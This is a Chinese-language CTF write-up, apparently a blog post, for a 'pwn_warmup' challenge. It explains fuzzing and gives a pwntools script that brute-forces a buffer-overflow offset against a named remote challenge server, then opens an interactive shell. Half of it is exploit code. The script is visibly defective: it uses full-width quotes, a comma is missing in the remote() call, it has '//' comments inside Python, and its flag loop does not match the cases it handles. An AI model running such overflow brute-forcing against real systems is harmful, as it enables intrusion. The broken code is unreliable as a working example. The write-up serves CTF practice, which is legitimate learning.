pwn_warmup

这个题没有附件,只好nc服务器:

发现给了我们一个类似地址的东西,该怎么利用。

猜想flag应该就在这个地址,或者这个地址的附近。这里不得不提到一个方法叫做fuzz(模糊测试):

Fuzzing是指通过构造测试输入,对软件进行大量测试来发现软件中的漏洞的一种模糊测试方法。在CTF中,fuzzing可能不常用,但在现实的漏洞挖掘中,fuzzing因其简单高效的优势,成为非常主流的漏洞挖掘方法。

所以额,我们要写一个函数,这个函数可以为我们生成很多地址,如果这个地址正确了,flag就会被我拿到

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)
因为不知道后门函数的位置在哪里,用‘a'*num填充,同时也不知道程序是64位还是32位,所以构造payload发送地址时要分两种情况

from pwn import *
#context.log_level = 'debug'
addr = 0x40060d

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

def main():
    for i in range(1000):
        print(i)
        for j in range(3):
            try:
                r = remote(“220.249.52.133”48144)
                fuzz(r, i, j)
                text = r.recv()
                print('text.len='+str(len(text))+'text='+text)//解析text的内容
                print('num='+str(i)+' flag='+str(j))//打印num 的个数和flag
                r.interactive()
            except:
                r.close()

if __name__ == '__main__':
    main()

有一点像爆破,我们试了1000次。但实际上攻击我们需要对生成的测试用例进行筛选,这道题就暴力破解了。


版权声明:本文为weixin_44464829原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。